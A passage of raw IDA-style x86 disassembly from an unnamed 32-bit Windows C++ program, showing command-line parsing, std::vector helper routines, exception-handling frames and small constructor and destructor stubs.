mov dl, [edi]
cmp cl, dl
jnz short loc_40A4C0
loc_40A4B7: ; CODE XREF: sub_40A430+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A4B7
loc_40A4C0: ; CODE XREF: sub_40A430+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A4CF
inc eax
mov [esp+48h+var_3C], eax
loc_40A4CF: ; CODE XREF: sub_40A430+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401988
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A51F
test cl, cl
jz short loc_40A507
loc_40A4EB: ; CODE XREF: sub_40A430+D5j
cmp cl, 22h
jnz short loc_40A4FC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A507
test cl, cl
jz short loc_40A507
loc_40A4FC: ; CODE XREF: sub_40A430+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A4EB
loc_40A507: ; CODE XREF: sub_40A430+B9j
; sub_40A430+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A54A
add eax, 2
jmp short loc_40A546
; ---------------------------------------------------------------------------
loc_40A51F: ; CODE XREF: sub_40A430+B5j
test cl, cl
jz short loc_40A534
mov dl, [edi]
loc_40A525: ; CODE XREF: sub_40A430+102j
cmp cl, dl
jz short loc_40A534
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A525
loc_40A534: ; CODE XREF: sub_40A430+F1j
; sub_40A430+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A54A
cmp cl, [edi]
jnz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A546: ; CODE XREF: sub_40A430+EDj
mov [esp+48h+var_3C], eax
loc_40A54A: ; CODE XREF: sub_40A430+DAj
; sub_40A430+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A4B1
pop ebx
loc_40A555: ; CODE XREF: sub_40A430+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A56D
push offset byte_446F60
jmp short loc_40A57A
; ---------------------------------------------------------------------------
loc_40A56D: ; CODE XREF: sub_40A430+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F64
mov eax, [eax]
push eax
loc_40A57A: ; CODE XREF: sub_40A430+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401861
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_40158C
; ---------------------------------------------------------------------------
loc_40A5A4: ; CODE XREF: sub_40A430+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A430 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A630 proc near ; CODE XREF: sub_4016AEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A630 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A670 proc near ; CODE XREF: sub_40200Ej
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_40A670 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6A0 proc near ; CODE XREF: sub_401A87j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
retn 4
sub_40A6A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6C0 proc near ; CODE XREF: sub_40146Fj
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A6C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A6E0: ; CODE XREF: ___:0040149Cj
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A700 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A720 proc near ; CODE XREF: sub_4017E4j
mov eax, [ecx+9]
retn
sub_40A720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_4014D3j
mov eax, [ecx+9]
retn
sub_40A740 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A760 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A760 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A790 proc near ; CODE XREF: sub_40158Cj
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A790 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A7EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A7EA: ; CODE XREF: sub_40A7E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A810 proc near ; CODE XREF: sub_401F64j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A828
mov ecx, esi
call sub_401EE7
loc_40A828: ; CODE XREF: sub_40A810+Fj
mov ecx, esi
call sub_401D1B
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A810 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A850 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40164F
push eax
mov ecx, esi
call sub_4016EF
pop esi
retn 4
sub_40A850 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A880 proc near ; CODE XREF: sub_401D1Bj
mov eax, [ecx+4]
retn
sub_40A880 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8A0 proc near ; CODE XREF: sub_40164Fj
mov eax, [ecx+8]
retn
sub_40A8A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4016EFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D1B
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013CF
mov ecx, edi
call sub_401D1B
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A910 proc near ; CODE XREF: sub_4019A6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40A930
loc_40A921: ; CODE XREF: sub_40A910+1Ej
push esi
mov ecx, edi
call sub_4018B1
add esi, 4
cmp esi, ebx
jnz short loc_40A921
loc_40A930: ; CODE XREF: sub_40A910+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A910 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A950: ; CODE XREF: sub_401EE7j
push 0FFFFFFFFh
push offset loc_438AB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_43F080
push edx
call sub_436832
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A9D0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40A9D0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4013CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AABB
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AA23
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AA25
; ---------------------------------------------------------------------------
loc_40AA23: ; CODE XREF: sub_40A9F0+26j
mov ebp, edi
loc_40AA25: ; CODE XREF: sub_40A9F0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DCF
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402176
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AABB: ; CODE XREF: sub_40A9F0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40AB19
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402176
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: sub_40A9F0+D8j
test edi, edi
jbe short loc_40AB53
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020AE
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABC0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ABC0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABE0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40AC12
push edi
mov edi, [esp+10h+arg_8]
loc_40ABF6: ; CODE XREF: sub_40ABE0+27j
push esi
push edi
mov ecx, ebx
call sub_402121
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ABF6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC12: ; CODE XREF: sub_40ABE0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ABE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC30 proc near ; CODE XREF: sub_402176j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AC57
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AC46: ; CODE XREF: sub_40AC30+23j
push ebx
push esi
mov ecx, ebp
call sub_402121
add esi, 4
dec edi
jnz short loc_40AC46
pop esi
pop ebx
loc_40AC57: ; CODE XREF: sub_40AC30+Aj
pop edi
pop ebp
retn 0Ch
sub_40AC30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AC70 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014CE
sub_40AC70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_402121j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401DE8
add esp, 8
retn 8
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ACED
mov edx, [esp+arg_8]
push esi
loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ACE1
pop esi
locret_40ACED: ; CODE XREF: sub_40ACD0+Aj
retn
sub_40ACD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD00 proc near ; CODE XREF: sub_4020AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AD22
mov eax, [esp+arg_8]
push esi
loc_40AD11: ; CODE XREF: sub_40AD00+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40AD11
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AD22: ; CODE XREF: sub_40AD00+Aj
mov eax, [esp+arg_8]
retn
sub_40AD00 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD60 proc near ; CODE XREF: sub_4014CEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AD6A
xor eax, eax
loc_40AD6A: ; CODE XREF: sub_40AD60+6j
shl eax, 2
push eax
call sub_4367FA
sub_40AD60 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD90 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40ADAB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40ADAB: ; CODE XREF: sub_40AD90+11j
retn
sub_40AD90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj
mov eax, ecx
mov dword ptr [eax], offset off_43E014
retn
sub_40ADC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40ADE0: ; CODE XREF: ___:00401717j
; ___:loc_402027j
push esi
mov esi, ecx
call sub_402031
test byte ptr [esp+8], 1
jz short loc_40ADF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40ADF8: ; CODE XREF: ___:0040ADEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE10 proc near ; CODE XREF: sub_402031j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AE10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43E014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_401744
loc_40AE41: ; DATA XREF: sub_40AE52o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AE10 endp
; =============== S U B R O U T I N E =======================================
sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo
mov eax, offset loc_40AE41
retn
sub_40AE52 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE80 proc near ; CODE XREF: sub_4014BAj
call sub_401708
jmp sub_4017B2
sub_40AE80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401B18j
call sub_40161D
jmp sub_4017C1
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEC0 proc near ; CODE XREF: sub_4013D4j
push esi
mov esi, ecx
push esi
push offset sub_40141F
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AEE2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AEE2: ; CODE XREF: sub_40AEC0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AEC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF00: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF27
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_40175D
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AF27: ; CODE XREF: ___:0040AF09j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF40 proc near ; CODE XREF: sub_401744j
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF5C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401758
add esp, 8
mov byte ptr [esi+10h], 0
loc_40AF5C: ; CODE XREF: sub_40AF40+8j
pop esi
retn
sub_40AF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF70: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF90 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AF90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40AFBE: ; DATA XREF: sub_40AFD1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AF90 endp
; =============== S U B R O U T I N E =======================================
sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co
mov eax, offset loc_40AFBE
retn
sub_40AFD1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B000 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B042
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_40218F
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B042: ; CODE XREF: sub_40B000+Bj
pop esi
add esp, 8
retn
sub_40B000 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B070 proc near ; CODE XREF: sub_401DCAj
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B092
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B092: ; CODE XREF: sub_40B070+6j
pop ecx
retn
sub_40B070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B0B0 proc near ; CODE XREF: sub_4019F1j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B0B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401749
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401BF4
sub_40B0B0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43E020
call sub_401BEF
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B170 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43E020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401BEF
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_401555
sub_40B170 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B210 proc near ; CODE XREF: sub_4017EEj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401BEF
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_40B210 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B390 proc near ; CODE XREF: sub_40180Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
